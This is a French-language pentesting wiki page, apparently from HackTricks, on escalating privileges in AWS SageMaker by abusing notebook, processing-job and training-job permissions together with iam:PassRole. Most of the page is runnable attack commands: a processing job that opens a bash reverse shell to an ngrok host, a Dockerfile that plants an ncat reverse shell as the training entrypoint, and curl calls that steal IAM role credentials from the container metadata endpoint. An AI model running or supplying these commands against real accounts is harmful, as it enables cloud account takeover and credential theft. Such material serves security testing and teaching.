# AWS - Sagemaker Privesc

## AWS - Sagemaker Privesc

{{#include ../../../banners/hacktricks-training.md}}

### `iam:PassRole`, `sagemaker:CreateNotebookInstance`, `sagemaker:CreatePresignedNotebookInstanceUrl`

Commencez à créer un notebook avec le rôle IAM qui y est attaché :
```bash
aws sagemaker create-notebook-instance --notebook-instance-name example \
--instance-type ml.t2.medium \
--role-arn arn:aws:iam::<account-id>:role/service-role/<role-name>
```
La réponse doit contenir un champ `NotebookInstanceArn`, qui contiendra l'ARN de la nouvelle instance de notebook créée. Nous pouvons ensuite utiliser l'API `create-presigned-notebook-instance-url` pour générer une URL que nous pouvons utiliser pour accéder à l'instance de notebook une fois qu'elle est prête :
```bash
aws sagemaker create-presigned-notebook-instance-url \
--notebook-instance-name <name>
```
Naviguez vers l'URL avec le navigateur et cliquez sur \`Open JupyterLab\` dans le coin supérieur droit, puis faites défiler vers le bas jusqu'à l'onglet “Launcher” et sous la section “Other”, cliquez sur le bouton “Terminal”.

Maintenant, il est possible d'accéder aux informations d'identification des métadonnées du rôle IAM.

**Impact potentiel :** Privesc au rôle de service sagemaker spécifié.

### `sagemaker:CreatePresignedNotebookInstanceUrl`

S'il y a des Jupyter **notebooks déjà en cours d'exécution** dessus et que vous pouvez les lister avec `sagemaker:ListNotebookInstances` (ou les découvrir de toute autre manière). Vous pouvez **générer une URL pour eux, y accéder et voler les informations d'identification comme indiqué dans la technique précédente**.
```bash
aws sagemaker create-presigned-notebook-instance-url --notebook-instance-name <name>
```
**Impact potentiel :** Privesc au rôle de service sagemaker attaché.

### `sagemaker:CreateProcessingJob,iam:PassRole`

Un attaquant avec ces permissions peut faire en sorte que **sagemaker exécute un processingjob** avec un rôle sagemaker attaché. L'attaquant peut indiquer la définition du conteneur qui sera exécuté dans une **instance de compte ECS gérée par AWS**, et **voler les identifiants du rôle IAM attaché**.
```bash
# I uploaded a python docker image to the ECR
aws sagemaker create-processing-job \
--processing-job-name privescjob \
--processing-resources '{"ClusterConfig": {"InstanceCount": 1,"InstanceType": "ml.t3.medium","VolumeSizeInGB": 50}}' \
--app-specification "{\"ImageUri\":\"<id>.dkr.ecr.eu-west-1.amazonaws.com/python\",\"ContainerEntrypoint\":[\"sh\", \"-c\"],\"ContainerArguments\":[\"/bin/bash -c \\\"bash -i >& /dev/tcp/5.tcp.eu.ngrok.io/14920 0>&1\\\"\"]}" \
--role-arn <sagemaker-arn-role>

# In my tests it took 10min to receive the shell
curl "http://169.254.170.2$AWS_CONTAINER_CREDENTIALS_RELATIVE_URI" #To get the creds
```
**Impact potentiel :** Privesc au rôle de service sagemaker spécifié.

### `sagemaker:CreateTrainingJob`, `iam:PassRole`

Un attaquant avec ces permissions sera capable de créer un job d'entraînement, **exécutant un conteneur arbitraire** dessus avec un **rôle attaché**. Par conséquent, l'attaquant pourra voler les identifiants du rôle.

> [!WARNING]
> Ce scénario est plus difficile à exploiter que le précédent car vous devez générer une image Docker qui enverra le rev shell ou les identifiants directement à l'attaquant (vous ne pouvez pas indiquer une commande de démarrage dans la configuration du job d'entraînement).
>
> ```bash
> # Créer l'image docker
> mkdir /tmp/rev
> ## Notez que le job d'entraînement va appeler un exécutable appelé "train"
> ## C'est pourquoi je mets le rev shell dans /bin/train
> ## Définissez les valeurs de <YOUR-IP-OR-DOMAIN> et <YOUR-PORT>
> cat > /tmp/rev/Dockerfile <<EOF
> FROM ubuntu
> RUN apt update && apt install -y ncat curl
> RUN printf '#!/bin/bash\nncat <YOUR-IP-OR-DOMAIN> <YOUR-PORT> -e /bin/sh' > /bin/train
> RUN chmod +x /bin/train
> CMD ncat <YOUR-IP-OR-DOMAIN> <YOUR-PORT> -e /bin/sh
> EOF
>
> cd /tmp/rev
> sudo docker build . -t reverseshell
>
> # Téléchargez-le sur ECR
> sudo docker login -u AWS -p $(aws ecr get-login-password --region <region>) <id>.dkr.ecr.<region>.amazonaws.com/<repo>
> sudo docker tag reverseshell:latest <account_id>.dkr.ecr.<region>.amazonaws.com/reverseshell:latest
> sudo docker push <account_id>.dkr.ecr.<region>.amazonaws.com/reverseshell:latest
> ```
```bash
# Create trainning job with the docker image created
aws sagemaker create-training-job \
--training-job-name privescjob \
--resource-config '{"InstanceCount": 1,"InstanceType": "ml.m4.4xlarge","VolumeSizeInGB": 50}' \
--algorithm-specification '{"TrainingImage":"<account_id>.dkr.ecr.<region>.amazonaws.com/reverseshell", "TrainingInputMode": "Pipe"}' \
--role-arn <role-arn> \
--output-data-config '{"S3OutputPath": "s3://<bucket>"}' \
--stopping-condition '{"MaxRuntimeInSeconds": 600}'

#To get the creds
curl "http://169.254.170.2$AWS_CONTAINER_CREDENTIALS_RELATIVE_URI"
## Creds env var value example:/v2/credentials/proxy-f00b92a68b7de043f800bd0cca4d3f84517a19c52b3dd1a54a37c1eca040af38-customer
```
**Impact potentiel :** Privesc au rôle de service sagemaker spécifié.

### `sagemaker:CreateHyperParameterTuningJob`, `iam:PassRole`

Un attaquant avec ces permissions pourra (potentiellement) créer un **hyperparameter training job**, **exécutant un conteneur arbitraire** avec un **rôle attaché**.\
_Je n'ai pas exploité en raison du manque de temps, mais cela semble similaire aux exploits précédents, n'hésitez pas à envoyer une PR avec les détails de l'exploitation._

## Références

- [https://rhinosecuritylabs.com/aws/aws-privilege-escalation-methods-mitigation-part-2/](https://rhinosecuritylabs.com/aws/aws-privilege-escalation-methods-mitigation-part-2/)

{{#include ../../../banners/hacktricks-training.md}}
